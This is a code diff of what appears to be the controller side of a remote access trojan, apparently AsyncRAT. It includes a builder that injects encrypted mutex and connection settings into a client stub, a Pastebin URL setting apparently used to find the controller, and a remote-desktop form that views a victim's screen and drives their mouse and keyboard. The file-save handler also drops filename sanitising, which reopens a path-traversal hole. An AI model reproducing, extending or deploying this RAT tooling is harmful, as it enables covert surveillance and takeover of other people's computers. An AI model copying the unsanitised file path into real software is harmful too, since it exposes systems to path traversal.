@ -94,6 +94,9 @@ namespace Server.Forms
} }
} }
catch { } catch { }
if (Properties.Settings.Default.Mutex.Length == 0)
txtMutex.Text = getRandomCharacters();
} }
@ -187,8 +190,6 @@ namespace Server.Forms
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return; if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Helper.Methods.GetRandomString(12);
ModuleDefMD asmDef = null; ModuleDefMD asmDef = null;
try try
{ {
@ -429,7 +430,7 @@ namespace Server.Forms
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
if (string.IsNullOrWhiteSpace(txtMutex.Text)) if (string.IsNullOrWhiteSpace(txtMutex.Text))
method.Body.Instructions[i].Operand = Helper.Methods.GetRandomString(12); method.Body.Instructions[i].Operand = getRandomCharacters();
else else
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
@ -467,6 +468,21 @@ namespace Server.Forms
} }
} }
private readonly Random random = new Random();
const string alphabet = "asdfghjklqwertyuiopmnbvcxz";
public string getRandomCharacters()
{
var sb = new StringBuilder();
for (int i = 1; i <= new Random().Next(10, 20); i++)
{
var randomCharacterPosition = random.Next(0, alphabet.Length);
sb.Append(alphabet[randomCharacterPosition]);
}
return sb.ToString();
}
private void BtnClone_Click(object sender, EventArgs e) private void BtnClone_Click(object sender, EventArgs e)
{ {
using (var openFileDialog = new OpenFileDialog()) using (var openFileDialog = new OpenFileDialog())
@ -489,10 +505,5 @@ namespace Server.Forms
} }
} }
} }
private void txtMutex_MouseEnter(object sender, EventArgs e)
{
txtMutex.Text = Helper.Methods.GetRandomString(12);
}
} }
} }

View File

@ -40,8 +40,8 @@
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.label1 = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.btnStart = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button();
this.btnSlide = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button();
this.timerSave = new System.Windows.Forms.Timer(this.components); this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label(); this.labelWait = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
@ -54,9 +54,8 @@
// //
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(625, 315); this.pictureBox1.Size = new System.Drawing.Size(938, 485);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
@ -79,22 +78,20 @@
this.panel1.Controls.Add(this.numericUpDown2); this.panel1.Controls.Add(this.numericUpDown2);
this.panel1.Controls.Add(this.label1); this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.numericUpDown1); this.panel1.Controls.Add(this.numericUpDown1);
this.panel1.Controls.Add(this.btnStart); this.panel1.Controls.Add(this.button1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top; this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0); this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Margin = new System.Windows.Forms.Padding(2);
this.panel1.Name = "panel1"; this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(625, 25); this.panel1.Size = new System.Drawing.Size(938, 38);
this.panel1.TabIndex = 1; this.panel1.TabIndex = 1;
// //
// btnKeyboard // btnKeyboard
// //
this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard; this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard;
this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnKeyboard.Location = new System.Drawing.Point(415, 2); this.btnKeyboard.Location = new System.Drawing.Point(622, 3);
this.btnKeyboard.Margin = new System.Windows.Forms.Padding(2);
this.btnKeyboard.Name = "btnKeyboard"; this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(21, 21); this.btnKeyboard.Size = new System.Drawing.Size(32, 32);
this.btnKeyboard.TabIndex = 6; this.btnKeyboard.TabIndex = 6;
this.btnKeyboard.UseVisualStyleBackColor = true; this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
@ -103,10 +100,9 @@
// //
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnMouse.Location = new System.Drawing.Point(367, 2); this.btnMouse.Location = new System.Drawing.Point(550, 3);
this.btnMouse.Margin = new System.Windows.Forms.Padding(2);
this.btnMouse.Name = "btnMouse"; this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(21, 21); this.btnMouse.Size = new System.Drawing.Size(32, 32);
this.btnMouse.TabIndex = 3; this.btnMouse.TabIndex = 3;
this.btnMouse.UseVisualStyleBackColor = true; this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.Button3_Click); this.btnMouse.Click += new System.EventHandler(this.Button3_Click);
@ -115,10 +111,9 @@
// //
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSave.Location = new System.Drawing.Point(303, 2); this.btnSave.Location = new System.Drawing.Point(455, 3);
this.btnSave.Margin = new System.Windows.Forms.Padding(2);
this.btnSave.Name = "btnSave"; this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(21, 21); this.btnSave.Size = new System.Drawing.Size(32, 32);
this.btnSave.TabIndex = 5; this.btnSave.TabIndex = 5;
this.btnSave.UseVisualStyleBackColor = true; this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click); this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
@ -126,10 +121,9 @@
// label2 // label2
// //
this.label2.AutoSize = true; this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(179, 6); this.label2.Location = new System.Drawing.Point(268, 9);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2"; this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(51, 13); this.label2.Size = new System.Drawing.Size(76, 20);
this.label2.TabIndex = 4; this.label2.TabIndex = 4;
this.label2.Text = "SCREEN"; this.label2.Text = "SCREEN";
// //
@ -142,15 +136,14 @@
0, 0,
0, 0,
0}); 0});
this.numericUpDown2.Location = new System.Drawing.Point(235, 3); this.numericUpDown2.Location = new System.Drawing.Point(352, 5);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Maximum = new decimal(new int[] { this.numericUpDown2.Maximum = new decimal(new int[] {
0, 0,
0, 0,
0, 0,
0}); 0});
this.numericUpDown2.Name = "numericUpDown2"; this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20); this.numericUpDown2.Size = new System.Drawing.Size(63, 26);
this.numericUpDown2.TabIndex = 3; this.numericUpDown2.TabIndex = 3;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
@ -158,10 +151,9 @@
// label1 // label1
// //
this.label1.AutoSize = true; this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(55, 6); this.label1.Location = new System.Drawing.Point(82, 9);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1"; this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(53, 13); this.label1.Size = new System.Drawing.Size(78, 20);
this.label1.TabIndex = 2; this.label1.TabIndex = 2;
this.label1.Text = "QUALITY"; this.label1.Text = "QUALITY";
// //
@ -174,15 +166,14 @@
0, 0,
0, 0,
0}); 0});
this.numericUpDown1.Location = new System.Drawing.Point(111, 3); this.numericUpDown1.Location = new System.Drawing.Point(166, 5);
this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown1.Minimum = new decimal(new int[] { this.numericUpDown1.Minimum = new decimal(new int[] {
20, 20,
0, 0,
0, 0,
0}); 0});
this.numericUpDown1.Name = "numericUpDown1"; this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(55, 20); this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
this.numericUpDown1.TabIndex = 1; this.numericUpDown1.TabIndex = 1;
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
@ -192,31 +183,29 @@
0, 0,
0}); 0});
// //
// btnStart // button1
// //
this.btnStart.BackgroundImage = global::Server.Properties.Resources.stop__1_; this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
this.btnStart.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnStart.Location = new System.Drawing.Point(8, 2); this.button1.Location = new System.Drawing.Point(12, 3);
this.btnStart.Margin = new System.Windows.Forms.Padding(2); this.button1.Name = "button1";
this.btnStart.Name = "btnStart"; this.button1.Size = new System.Drawing.Size(32, 32);
this.btnStart.Size = new System.Drawing.Size(21, 21); this.button1.TabIndex = 0;
this.btnStart.TabIndex = 0; this.button1.UseVisualStyleBackColor = true;
this.btnStart.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.Button1_Click);
this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
// //
// btnSlide // button2
// //
this.btnSlide.BackgroundImage = global::Server.Properties.Resources.arrow_up; this.button2.BackgroundImage = global::Server.Properties.Resources.arrow_up;
this.btnSlide.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSlide.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.btnSlide.Location = new System.Drawing.Point(285, 29); this.button2.Location = new System.Drawing.Point(428, 44);
this.btnSlide.Margin = new System.Windows.Forms.Padding(2); this.button2.Name = "button2";
this.btnSlide.Name = "btnSlide"; this.button2.Size = new System.Drawing.Size(18, 18);
this.btnSlide.Size = new System.Drawing.Size(12, 12); this.button2.TabIndex = 2;
this.btnSlide.TabIndex = 2; this.button2.Text = " ";
this.btnSlide.Text = " "; this.button2.UseVisualStyleBackColor = true;
this.btnSlide.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.Button2_Click);
this.btnSlide.Click += new System.EventHandler(this.btnSlide_Click);
// //
// timerSave // timerSave
// //
@ -227,26 +216,24 @@
// //
this.labelWait.AutoSize = true; this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F); this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F);
this.labelWait.Location = new System.Drawing.Point(251, 144); this.labelWait.Location = new System.Drawing.Point(376, 222);
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelWait.Name = "labelWait"; this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(53, 20); this.labelWait.Size = new System.Drawing.Size(78, 29);
this.labelWait.TabIndex = 3; this.labelWait.TabIndex = 3;
this.labelWait.Text = "Wait..."; this.labelWait.Text = "Wait...";
// //
// FormRemoteDesktop // FormRemoteDesktop
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(625, 315); this.ClientSize = new System.Drawing.Size(938, 485);
this.Controls.Add(this.labelWait); this.Controls.Add(this.labelWait);
this.Controls.Add(this.btnSlide); this.Controls.Add(this.button2);
this.Controls.Add(this.panel1); this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1); this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true; this.KeyPreview = true;
this.Margin = new System.Windows.Forms.Padding(2); this.MinimumSize = new System.Drawing.Size(655, 440);
this.MinimumSize = new System.Drawing.Size(442, 300);
this.Name = "FormRemoteDesktop"; this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop"; this.Text = "RemoteDesktop";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
@ -270,8 +257,8 @@
public System.Windows.Forms.Timer timer1; public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Panel panel1;
private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button btnStart; private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button btnSlide; private System.Windows.Forms.Button button2;
public System.Windows.Forms.NumericUpDown numericUpDown1; public System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label2;
public System.Windows.Forms.NumericUpDown numericUpDown2; public System.Windows.Forms.NumericUpDown numericUpDown2;

View File

@ -1,4 +1,6 @@
using System; using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Data; using System.Data;
@ -14,7 +16,6 @@ using System.Threading;
using System.Drawing.Imaging; using System.Drawing.Imaging;
using System.IO; using System.IO;
using Encoder = System.Drawing.Imaging.Encoder; using Encoder = System.Drawing.Imaging.Encoder;
using Server.StreamLibrary;
namespace Server.Forms namespace Server.Forms
{ {
@ -27,7 +28,8 @@ namespace Server.Forms
public int FPS = 0; public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public UnsafeStreamCodec decoder = new UnsafeStreamCodec(60); public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize;
private bool isMouse = false; private bool isMouse = false;
private bool isKeyboard = false; private bool isKeyboard = false;
public object syncPicbox = new object(); public object syncPicbox = new object();
@ -49,19 +51,19 @@ namespace Server.Forms
catch { this.Close(); } catch { this.Close(); }
} }
private void btnSlide_Click(object sender, EventArgs e) private void Button2_Click(object sender, EventArgs e)
{ {
if (panel1.Visible == false) if (panel1.Visible == false)
{ {
panel1.Visible = true; panel1.Visible = true;
btnSlide.Top = panel1.Bottom + 5; button2.Top = panel1.Bottom + 5;
btnSlide.BackgroundImage = Properties.Resources.arrow_up; button2.BackgroundImage = Properties.Resources.arrow_up;
} }
else else
{ {
panel1.Visible = false; panel1.Visible = false;
btnSlide.Top = pictureBox1.Top + 5; button2.Top = pictureBox1.Top + 5;
btnSlide.BackgroundImage = Properties.Resources.arrow_down; button2.BackgroundImage = Properties.Resources.arrow_down;
} }
} }
@ -69,17 +71,17 @@ namespace Server.Forms
{ {
try try
{ {
btnSlide.Top = panel1.Bottom + 5; button2.Top = panel1.Bottom + 5;
btnSlide.Left = pictureBox1.Width / 2; button2.Left = pictureBox1.Width / 2;
btnStart.Tag = (object)"stop"; button1.Tag = (object)"stop";
btnSlide.PerformClick(); button2.PerformClick();
} }
catch { } catch { }
} }
private void btnStart_Click(object sender, EventArgs e) private void Button1_Click(object sender, EventArgs e)
{ {
if (btnStart.Tag == (object)"play") if (button1.Tag == (object)"play")
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
@ -92,12 +94,12 @@ namespace Server.Forms
numericUpDown2.Enabled = false; numericUpDown2.Enabled = false;
btnSave.Enabled = true; btnSave.Enabled = true;
btnMouse.Enabled = true; btnMouse.Enabled = true;
btnStart.Tag = (object)"stop"; button1.Tag = (object)"stop";
btnStart.BackgroundImage = Properties.Resources.stop__1_; button1.BackgroundImage = Properties.Resources.stop__1_;
} }
else else
{ {
btnStart.Tag = (object)"play"; button1.Tag = (object)"play";
try try
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
@ -110,18 +112,18 @@ namespace Server.Forms
numericUpDown2.Enabled = true; numericUpDown2.Enabled = true;
btnSave.Enabled = false; btnSave.Enabled = false;
btnMouse.Enabled = false; btnMouse.Enabled = false;
btnStart.BackgroundImage = Properties.Resources.play_button; button1.BackgroundImage = Properties.Resources.play_button;
} }
} }
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e) private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
{ {
btnSlide.Left = pictureBox1.Width / 2; button2.Left = pictureBox1.Width / 2;
} }
private void BtnSave_Click(object sender, EventArgs e) private void BtnSave_Click(object sender, EventArgs e)
{ {
if (btnStart.Tag == (object)"stop") if (button1.Tag == (object)"stop")
{ {
if (timerSave.Enabled) if (timerSave.Enabled)
{ {
@ -178,8 +180,9 @@ namespace Server.Forms
{ {
try try
{ {
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 2; button = 2;
@ -189,8 +192,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width; msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height; msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = button; msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
@ -202,8 +205,9 @@ namespace Server.Forms
{ {
try try
{ {
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 4; button = 4;
@ -213,8 +217,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width; msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height; msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = button; msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
@ -228,11 +232,12 @@ namespace Server.Forms
{ {
if (pictureBox1.Image != null && this.ContainsFocus && isMouse) if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width; msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height; msgpack.ForcePathObject("Y").AsInteger = p.Y;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
@ -284,7 +289,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e) private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{ {
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{ {
if (!IsLockKey(e.KeyCode)) if (!IsLockKey(e.KeyCode))
e.Handled = true; e.Handled = true;
@ -305,7 +310,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e) private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{ {
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
{ {
if (!IsLockKey(e.KeyCode)) if (!IsLockKey(e.KeyCode))
e.Handled = true; e.Handled = true;

View File

@ -170,15 +170,14 @@ namespace Server.Handle_Packet
{ {
if (!Directory.Exists(SD.DirPath)) if (!Directory.Exists(SD.DirPath))
return; return;
string fileName = Path.GetFileName(unpack_msgpack.ForcePathObject("Name").AsString); string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
string dirPath = SD.DirPath; string dirPath = SD.DirPath;
string fileFullPath = Path.Combine(dirPath, fileName); if (File.Exists(dirPath + "\\" + fileName))
if (File.Exists(fileFullPath))
{ {
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName; fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
fileFullPath = Path.Combine(dirPath, fileName); await Task.Delay(100);
} }
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), fileFullPath)); await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
SD.Close(); SD.Close();
} }
} }

View File

@ -27,17 +27,16 @@ namespace Server.Handle_Packet
RD.labelWait.Visible = false; RD.labelWait.Visible = false;
RD.timer1.Start(); RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size;
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1; RD.numericUpDown2.Maximum = Screens - 1;
} }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
lock (RD.syncPicbox) lock (RD.syncPicbox)
{ {
using (MemoryStream stream = new MemoryStream(RdpStream)) using (MemoryStream stream = new MemoryStream(RdpStream))
{
RD.GetImage = RD.decoder.DecodeData(stream); RD.GetImage = RD.decoder.DecodeData(stream);
}
RD.pictureBox1.Image = RD.GetImage; RD.pictureBox1.Image = RD.GetImage;
RD.FPS++; RD.FPS++;

View File

@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers // You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below: // by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")] // [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("0.5.8.0")] [assembly: AssemblyVersion("0.5.7.0")]
[assembly: AssemblyFileVersion("0.5.8.0")] [assembly: AssemblyFileVersion("0.5.7.0")]

View File

@ -12,7 +12,7 @@ namespace Server.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.5.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
@ -61,7 +61,7 @@ namespace Server.Properties {
[global::System.Configuration.UserScopedSettingAttribute()] [global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Configuration.DefaultSettingValueAttribute("")] [global::System.Configuration.DefaultSettingValueAttribute("AsyncMutex_6SI8OkPnk")]
public string Mutex { public string Mutex {
get { get {
return ((string)(this["Mutex"])); return ((string)(this["Mutex"]));

View File

@ -12,7 +12,7 @@
<Value Profile="(Default)">True</Value> <Value Profile="(Default)">True</Value>
</Setting> </Setting>
<Setting Name="Mutex" Type="System.String" Scope="User"> <Setting Name="Mutex" Type="System.String" Scope="User">
<Value Profile="(Default)" /> <Value Profile="(Default)">AsyncMutex_6SI8OkPnk</Value>
</Setting> </Setting>
<Setting Name="Pastebin" Type="System.String" Scope="User"> <Setting Name="Pastebin" Type="System.String" Scope="User">
<Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value> <Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>

View File

@ -26,7 +26,7 @@
<ErrorReport>prompt</ErrorReport> <ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<Prefer32Bit>false</Prefer32Bit> <Prefer32Bit>true</Prefer32Bit>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget> <PlatformTarget>AnyCPU</PlatformTarget>
@ -46,8 +46,8 @@
<ApplicationManifest>app.manifest</ApplicationManifest> <ApplicationManifest>app.manifest</ApplicationManifest>
</PropertyGroup> </PropertyGroup>
<ItemGroup> <ItemGroup>
